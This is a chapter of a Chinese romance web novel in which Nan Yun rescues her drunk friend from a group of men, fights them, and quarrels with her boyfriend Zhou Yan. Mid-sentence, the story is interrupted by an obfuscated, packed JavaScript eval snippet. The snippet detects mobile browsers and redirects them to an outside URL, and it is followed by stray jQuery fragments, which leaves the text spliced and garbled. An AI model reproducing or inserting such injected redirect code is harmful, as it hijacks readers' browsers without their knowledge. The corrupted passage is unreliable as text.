26. chapter 26

作品:《误雪[撬墙角]

    对方显然也认出了她,眼睛微眯,笑意却不达眼底:“你是——阿砚的女朋友吧?真巧。”


    南韫的目光锁在他怀中女孩身上。


    大半张脸都埋在高鹏宇怀里,头发遮挡严实,一身深紫长裙,外面胡乱裹着羽绒服。


    这不像肖琼偏好的日系风格。


    南韫微笑颔首,问道:“高先生,这位是?”


    高鹏宇将人往怀里按了按:“私事,不劳南小姐费心了。”


    他越是遮掩,南韫越是心中生疑。


    视线最终锁定在女孩发丝缝隙间露出的耳环上。


    那是一副珍珠耳坠,肖琼在万通做项目时攒了两个月工资买的,非常宝贝,只有极重视的场合才会戴。


    还是南韫陪她去挑的。


    南韫上前一步,语气笃定:“她是肖琼。”


    高鹏宇索性扯出个笑,将女孩的脸扳过些许——


    面色潮红,双眼紧闭,正是肖琼。


    “她是我女朋友。”


    “你们要带她去哪?”


    “自然是送她回家。”


    “现在是半夜十一点,”南韫似笑非笑,“不如我送她回去吧,省了高先生多跑一趟。”


    “不必了,我女朋友,自然是由我来送。”


    南韫眉头紧锁,语气礼貌却分毫不让。


    “深夜一个女孩喝得烂醉,我身为她的朋友,担心她也是正常的,烦请理解。”


    高鹏宇面色骤沉,径直将肖琼推给身后同伴,逼近一步:“南小姐终归是个外人,好像没资格多管闲事吧。”


    他身形高大,目光冷冽,身后更是站着一群男人,压迫感十足。


    南韫仰头直视,眼神清亮如刃:“她现在神志不清,没经过她的同意,你不能带她走。”


    高鹏宇耐心告罄,咬紧了后槽牙:“别太把自己当回事,以为周砚宠着你,就能无法无天了?”


    南韫冷笑一声,语带嘲讽:“深夜灌醉一个女孩是何居心,恐怕无法无天的人不是我吧。”


    说完,她便径自绕开他去扶肖琼,却被高鹏宇狠狠抓住手臂。


    “别给脸不要脸,你装什么清高啊,不就是这点事儿?”高鹏宇语气恶狠狠的,酒气吞吐在她耳边,令人作呕,“别忘了你是怎么进的常家项目组,盛鸿和高家的关系不用我多说吧?得罪我,小心周砚踹了你,让你吃不了兜着走!”


    南韫的动作蓦地一停,侧首看向他,目光幽深难辨。


    高鹏宇只当震慑有效,冷哼一声,甩开她的手臂,向身后人摆手道:“走。”


    他们将南韫挤开,鱼贯而出。


    却没想到经过她时,南韫猛地出手,如铁钳般扣住肖琼手臂,一把将她扯了过来。


    后者软软地倒在她肩头。


    “你干什么!”


    “我说,”南韫一字一顿,“我要带她走。”


    有人冲上来抢肖琼的手臂往外拖。


    南韫单手将她护在怀里,右拳猛地挥出,狠狠正中来人鼻梁。


    鼻骨发出一声令人牙酸的脆响,他整个人翻倒在地,鼻血横流。


    她挑眉轻笑,眼波流转间竟有几分秾丽的风情,对着高鹏宇轻吐二字:


    “垃圾。”


    “你他妈说什么!”


    高鹏宇的五官扭曲起来,猛地推了一把旁边的人:“愣着干什么,给我教训她,往死里打!”


    南韫闪身避开扑上来的人,一脚踹过去将来者踹翻在地。


    高鹏宇冲上来要抢肖琼,也挨了她狠狠一拳,直打得眼眶紫红,连声惨叫。


    她身形灵活,力气不逊,奈何带着肖琼行动受限,她从人群中冲出,向长廊尽头跑去,长发却被人从后揪住,猛地一扯。


    “你们干什么!”


    远处传来一声怒喝,周砚从长廊尽头冲过来,迅速劈开战局,将南韫护在身后,回头急问:“没事吧?”


    南韫面无表情,只冷冷盯着对面。


    周砚仔细检查一遍,她身上没有明显伤口,才转过头盯着那群人,怒气森然:“敢动我的人,你们是什么东西?”


    高鹏宇从人群后捂着半张阴鸷面孔,指缝中露出些紫红瘢痕。


    “鹏宇?”周砚认出了他,神色骤变,愕然问,“这是怎么回事?”


    “周砚,你们周家面子真大,”高鹏宇怒火中烧,指着自己的脸,又指指身旁鼻血狂喷的同伙,“你看看,你女人给我和我兄弟打成这样,还出言不逊,这怎么算?”


    周砚看着一地狼藉,难以置信地反驳:“怎么可能,韫韫只是个小姑娘,肯定有什么误会。”


    高鹏宇冷笑一声:“我可没见过拳头抡得像甄子丹似的小姑娘。”


    周砚回头问她:“韫韫,到底发生什么事了?”


    南韫瞥了他一眼,简短道:“他们灌醉了肖琼,要把她带走,我拦下了。”


    “这些人——”


    “是我打的。”


    周砚只觉得太阳穴突突跳:“肖琼是鹏宇的女朋友,送她回去不是应该的吗?”


    南韫抬眼看他,神色冷峭:“现在是半夜十一点,她神志不清,谁知道这位高先生要带她去哪里?”


    高鹏宇:“我带她去哪跟你有什么关系!”


    高鹏宇满腔怒火无处发泄,句句唇枪舌剑。难得南韫也寸土不让,周砚居中为难,只得回头继续劝说南韫。


    “他们是情侣,我们外人就别插手了……”


    “即使是情侣,深夜把人带到酒吧灌得烂醉,能安什么好心?”


    她语气强硬,周砚也劝得不耐烦,几乎未经思考就开口:“肖琼都跟他来酒吧了,没准儿她愿意呢?”


    空气一霎凝滞。


    南韫几乎不敢相信自己的耳朵,像不认识他似的。


    周砚自知失言,伸手欲拉她的手腕,却被她猛地甩开。


    南韫眼神锋芒逼人,字句掷地有声:“即使她愿意,明天醒来怨我,今晚我也必须保证她的安全。”


    周砚似乎还想说什么,南韫扶着肖琼,话声低了下来,语气甚至带了丝几不可察的笑意,却听得人心里发凉。


    “周砚,如果今天醉在这里的人是我,你是不是也会袖手旁观?”


    周砚如遭雷击,僵在原地。


    南韫不再多言,扶稳肖琼,转身便走。


    高鹏宇一众还要追上来,周砚转身拦住他们:“鹏宇,有事好好说,别喊打喊杀的……”


    余光中,南韫的背影折过转角,没有回头。


    周砚心口莫名涌上一阵恐慌——


    仿佛她从这里走出去,就再也不会回来了。


    *


    出租车驶离酒吧,身后的招牌越来越远,逐渐看不真切。


    南韫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648976|187367||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这才后知后觉地感受到自己擂鼓般的心跳。


    她张开双手,指关节传来隐隐痛感,手指也不自觉地颤抖。


    练拳数年,她经常与人切磋,并不畏惧实战。


    但今天还是面对数名成年男性的围堵还是第一次,她无法抑制地从心底升起一丝后怕。


    况且高家实力雄厚,老爷子与周老太爷交好,高华健又与周向松关系颇深,今天闹了个底朝天,恐怕此事无法善了。


    但她别无选择。


    肖琼也是与人合租,深夜回去动静太大,她便将肖琼半拖半抱地带回了住处。


    程青藜在家,见她头发乱蓬蓬的,还拖着一个半死不活的人,吓得魂飞魄散。


    “你这……怎么回事?”


    “说来话长,快来帮忙。”


    岁岁摇着尾巴哒哒哒跑过来,在她脚边不安地转悠,南韫抽空摸了摸它的脑袋。


    “岁岁喂了吗?”


    “喂了喂了。”


    两人费了九牛二虎之力才把肖琼拖到南韫床上,又给她卸妆、擦脸、换衣服,两人边弄边说刚才发生的事。


    等一通忙完,客厅时钟已经悄悄指向凌晨一点。


    程青藜瘫在沙发上连灌三杯水,南韫提醒她:“喝慢点。”


    “你还有工夫管我呢,”程青藜瞥见她的手,声调难以置信地上扬,“大英雄,你先把自己的手包扎一下吧。”


    她低头,这才发现手指关节破了皮,正在往外渗血。


    程青藜找来棉签和创可贴,一边给她包扎,一边吐槽:“你也真够莽的,一个人对他们七八个大男人,万一周砚不在,你今天可能——”


    她知道,程青藜不是危言耸听。


    若非今天周砚在场,高鹏宇绝不会轻易放过她。


    南韫手指关节白皙,映着褐色碘伏显得触目惊心。


    程青藜一边看她的手,一边将东西收回医药箱,抱怨道:“这肖琼找对象的眼光是真的差,不是妈宝男就是□□犯。”


    因为南韫的缘故,程青藜与肖琼也认识。只是两人感情观不合,一个嫌另一个恋爱脑,另一个又嫌对方对待感情不认真。


    见她神情萎靡,程青藜也不忍再说:“算了,没事就好。”


    顿了顿,她又问:“你打算怎么收场?”


    “不知道,走一步看一步吧。”南韫啜了口热茶,身心俱疲。


    笃笃笃——


    门口传来敲门声。


    凌晨一点,谁会来敲她们家的门?


    答案不言自明。


    程青藜瞥了一眼门的方向,眼神复杂:“要我回避吗?”


    南韫按着突突直跳的太阳穴,无奈点头。


    程青藜拍拍她的肩膀:“没事,有我呢。”


    望着她关切的目光,南韫扯出一个笑容。


    等程青藜进了卧室,关上门,南韫才把自己从沙发上撑起来。


    开门,周砚站在门外。


    他脸上挂了彩,风尘仆仆,神情是前所未有的复杂。


    他们相顾无言。


    几小时前,他还在清吧舞台上为她演唱告白歌曲,现在只是站在这里望着对方,就已经觉得身心疲惫。


    半晌,南韫侧身让开一条通路,声音疲惫:“进来吧。”


    周砚顿了顿,还是默然踏入玄关,如同曾经无数次访问她家时一样。